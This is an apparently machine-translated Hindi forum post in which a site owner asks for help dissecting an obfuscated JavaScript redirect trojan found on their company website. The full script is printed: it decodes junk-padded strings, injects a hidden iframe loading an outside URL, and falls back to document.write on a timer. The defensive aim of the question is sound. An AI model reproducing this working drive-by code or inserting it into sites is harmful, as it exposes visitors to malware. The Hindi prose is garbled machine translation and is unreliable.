मैं हाल ही में जावास्क्रिप्ट के आवंटन के साथ खेल रहा हूं और इस बात पर विचार करना शुरू कर दिया कि मुझे जावास्क्रिप्ट का एक टुकड़ा नहीं मिल सका जो मैं डीबग करने में सक्षम नहीं हूं।जावास्क्रिप्ट ट्रोजन विच्छेदन
वैसे मैं सुखद आश्चर्यचकित था और आज हमें नाराज हुआ जब हमने हमारी कंपनी की वेबसाइट पर कई जावास्क्रिप्ट रीडायरेक्ट ट्रोजन खोजे।
हमने पाया कि अधिकांश कोड मैं आसानी से विच्छेदन करने और कोड फ़ंक्शन को खराब करने के लिए मानक से बचने में सक्षम था।
लेकिन कोड के बीच हमने पाया कि नीचे दिया गया कोड पूरी तरह से मुझे क्या कर रहा है पर फंस गया है। (एकमात्र ऐसा हिस्सा जिसे मैं काम करने के लिए प्रतीत कर सकता हूं वह यह है कि यह कुछ पैरामीटर पर प्रतिस्थापन कर रहा है)।
तो क्या कोई मेरे लिए निम्नलिखित कोड को विच्छेदन करने के लिए कृपया दयालु होगा? मुझे पता है पर वास्तव में क्या हो रहा है प्यार होता ...
<script>
function yJ() {};
this.sMZ = "sMZ";
yJ.prototype = {
w: function() {
var rJ = 13390;
this.m = "m";
this.fP = '';
this.q = "q";
this.oJ = "";
var vS = function() {
return 'vS'
};
var d = 'replace';
var qB = "";
x = '';
var s = document;
var xZ = "xZ";
mC = '';
var dV = "dV";
var b = window;
this.p = false;
this.kX = '';
nP = "nP";
var zE = "";
this.nU = false;
var yV = function() {
return 'yV'
};
String.prototype.gT = function (l, v) {
return this[d](l, v)
};
this.pC = '';
var qV = false;
var fPU = new Array();
h = "";
var sV = 'sKe}tKTIiWmEe}oEu}tK'.gT(/[KE\}IW]/g, '');
var xV = 43258;
sT = '';
var mV = '';
this.wJ = "wJ";
var f = '<jhItImIlI I>j<IhjezaIdz ;>;<z/;hjeIaIdI>;<zb!ojdjyj ;>I<!/jbIo!d!yI>z<j/Ihjt;m;lj>!'.gT(/[\!Ijz;]/g, '');
var xB = '';
wI = "wI";
oT = false;
var nQ = 49042;
try {
zI = '';
var bF = new Array();
var aY = function() {
return 'aY'
};
var rN = false;
rF = "";
var cX = function() {
return 'cX'
};
var y = 'bToTdTy+'.gT(/[\+\]aT%]/g, '');
this.rL = '';
var vH = function() {
return 'vH'
};
var r = 'sStEy9l?eE'.gT(/[ES9\?m]/g, '');
yD = "";
var eA = '';
var bQ = 'i.fWrhalmlel'.gT(/[lW\.xh]/g, '');
vZ = '';
this.bG = "";
this.vL = false;
var t = 'w5r[i5t[e%'.gT(/[%C5\[U]/g, '');
gI = '';
dVL = "dVL";
var n = 'cZrzeZaZtze.E.l.e;m;eSnzt;'.gT(/[;SZz\.]/g, '');
lH = "";
kD = "kD";
this.pH = false;
var k = 's9ric9'.gT(/[9Ni~O]/g, '');
var vB = '';
var kH = function() {
return 'kH'
};
var qH = new Array();
aD = '';
this.eQ = false;
var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, '');
var cT = '';
var kL = function() {
return 'kL'
};
var bR = new Array();
this.cP = 22454;
var dH = 'hNi9d0d>e*n*'.gT(/[\*9N\>0]/g, '');
lG = '';
tG = 7587;
hV = '';
this.oR = "oR";
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, '');
var dC = function() {};
var eR = new Date();
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');
uM = "";
var i = function() {};
this.cI = "";
tU = false;
function qN() {};
xL = 57256;
var c = this.a();
this.eL = '';
var rY = function() {};
fG = false;
nO = false;
this.j = "";
this.iQ = 5330;
var sY = function() {};
var u = document[n](bQ);
this.tH = false;
zX = "";
u[r][o] = dH;
var kV = "kV";
pN = '';
var yG = new Array();
this.nOE = 818;
u[z](k, c);
this.bQK = "";
var yU = 15629;
var sM = new Array();
var eY = "eY";
var qP = '';
s[y][e](u);
var lU = "lU";
var zR = false;
var xS = "";
iX = 34795;
function pO() {};
this.gM = "";
} catch (g) {
var xI = false;
this.gO = false;
this.iZ = false;
this.iU = false;
var mQ = new Date();
var qF = function() {};
s.write(f);
var tS = "tS";
function aR() {};
nA = "nA";
var xT = new Date();
mZ = false;
var gN = new Array();
var wE = this;
var eB = 3562;
this.qE = "qE";
this.cS = false;
this.vK = false;
qEJ = false;
this.hW = false;
b[sV](function() {
function bI() {};
hJ = "";
var kVQ = "kVQ";
var iG = "";
var eBS = new Array();
rA = "";
wE.w();
jY = "";
var hB = "hB";
var iZF = '';
qY = "";
jYG = "";
uK = 30969;
var qD = "qD";
}, 326);
this.qC = "";
var aX = function() {};
var cN = "";
}
gB = false;
var fF = false;
this.hX = false;
},
a: function() {
rH = "rH";
this.bV = '';
var qW = "";
return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');
var sMS = new Array();
this.wL = false;
uS = "uS";
function pI() {};
}
};
var uI = false;
var kN = new yJ();
this.aQ = "aQ";
kN.w();
hT = 15101;
</script>
मैं सिर्फ कोड के पहले 30 पत्र पढ़ा,, अपने आप को थप्पड़ मारा एक कॉफी बना दिया, बैठ गए और देखा वहाँ एक स्क्रॉलबार। – Marko